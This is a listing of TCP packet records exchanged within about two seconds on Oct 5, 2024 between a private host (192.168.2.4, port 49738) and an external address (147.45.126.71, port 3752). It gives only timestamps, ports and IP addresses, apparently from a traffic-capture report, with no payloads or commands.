Oct 5, 2024 14:33:32.344357014 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.344391108 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.344413042 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.346304893 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.346359015 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.346365929 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.346390009 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.346440077 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.348134995 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.348187923 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.348220110 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.348251104 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.349472046 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.349569082 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.349581957 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.349601030 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.349670887 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.350955963 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.351008892 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.351038933 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.351068974 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.352668047 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.352701902 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.352730989 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.352737904 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.352787971 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.354830980 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.354860067 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.354893923 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.354927063 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.354927063 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.354981899 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.356009960 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.356038094 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.356089115 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.356089115 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.356117964 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.356173038 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.357770920 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.357824087 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.357855082 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.357883930 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.361493111 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.361563921 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.361598969 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.361617088 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.361650944 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.361675978 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.361687899 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.361725092 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.361763000 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.362730026 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.362785101 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.362798929 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.362817049 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.362867117 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.364486933 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.364542007 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.364577055 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.364597082 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.366445065 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.366480112 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.366506100 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.366513014 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.366564035 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.368700981 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.368755102 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.368786097 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.368807077 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.369541883 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.369596958 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.369604111 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.369628906 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.369678974 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.371900082 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.371995926 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.372028112 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.372061014 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.373049021 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.373100996 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.373107910 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.373131990 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.373183012 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.379035950 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.379090071 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.379123926 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.379163980 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.379205942 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.379240036 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.379271984 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.379302025 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.379350901 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.379431009 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.379481077 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.379512072 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.379534960 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.380182981 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.380214930 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.380247116 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.380249023 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.380296946 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.381843090 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.381896019 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.381927013 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.381949902 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.387078047 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.387130022 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.387141943 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.426644087 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.621967077 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.627058029 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.627123117 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.632066011 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.965001106 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.965060949 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.965080976 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.965095997 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.965112925 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.965131044 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.965187073 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.965329885 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.965363979 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.965382099 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.965519905 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.966312885 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.966376066 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.966392040 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.966430902 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.968225956 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.968288898 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.968298912 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.968316078 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.968365908 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.968416929 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.968435049 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.968487978 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.970582008 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.970649958 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.970695019 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.970730066 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.970765114 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.970782042 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.970798969 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.970815897 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.970853090 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.971118927 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.971200943 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.971257925 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.971276999 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.971292019 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.971343040 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.055547953 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.098510981 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.129038095 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.136071920 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.136149883 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.143158913 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.451802969 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.452343941 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.452373981 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.452392101 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.452423096 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.452481985 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.453221083 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.453253031 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.453269958 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.453299999 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.453386068 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.453438997 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.453855991 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.453885078 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.453902006 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.453932047 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.456146002 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.456201077 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.456213951 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.456229925 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.456276894 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.456325054 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.456341982 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.456399918 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.456409931 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.456612110 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.456659079 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.456662893 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.456680059 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.456723928 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.457762003 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.457813025 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.457829952 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.457887888 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.458189011 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.458245039 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.458256006 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.458271027 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.458285093 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.458321095 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.459366083 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.459434986 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.459439993 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.459453106 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.459496975 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.460004091 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.460052967 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.460068941 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.460102081 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.460824966 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.460876942 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.460886955 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.460902929 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.460946083 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.461726904 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.461796045 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.461810112 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.461849928 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.462203979 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.462260962 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.462739944 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.462769032 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.462817907 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.462821007 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.462850094 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.462909937 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.463479996 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.463594913 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.463624954 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.463648081 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.463658094 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.463712931 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.464291096 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.464319944 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.464370012 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.464378119 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.464406967 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.464453936 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.465946913 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.466002941 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.466037035 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.466058016 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.466072083 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.466126919 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.466161013 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.466192961 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.466243982 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.466883898 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.466912031 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.466962099 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.466973066 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.467000961 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.467047930 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.467870951 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.467926025 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.467957973 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.467981100 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.468713045 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.468769073 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.468817949 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.468847990 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.468880892 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.468895912 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.469737053 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.469791889 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.469798088 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.469825029 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.469872952 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.470345020 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.470398903 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.470429897 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.470452070 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.470463991 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.470510006 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.471225023 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.471278906 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.471311092 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.471334934 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.472089052 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.472199917 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.472374916 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.472408056 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.472457886 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.473253965 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.473355055 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.473387003 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.473408937 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.473939896 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.473994970 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.474020004 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.474051952 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.474095106 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.474699020 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.474754095 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.474785089 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.474811077 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.476342916 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.476398945 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.476404905 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.476428986 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.476461887 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.476479053 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.476612091 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.476672888 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.476703882 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.476735115 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.476767063 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.476784945 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.477304935 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.477359056 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.477365971 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.477391958 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.477438927 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.478404999 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.478458881 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.478490114 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.478513002 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.478524923 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.478578091 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.479028940 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.479058027 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.479104996 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.479111910 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.479141951 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.479191065 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:33.479923010 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.479975939 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.480005980 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:33.480027914 CEST	49738	3752	192.168.2.4	147.45.126.71
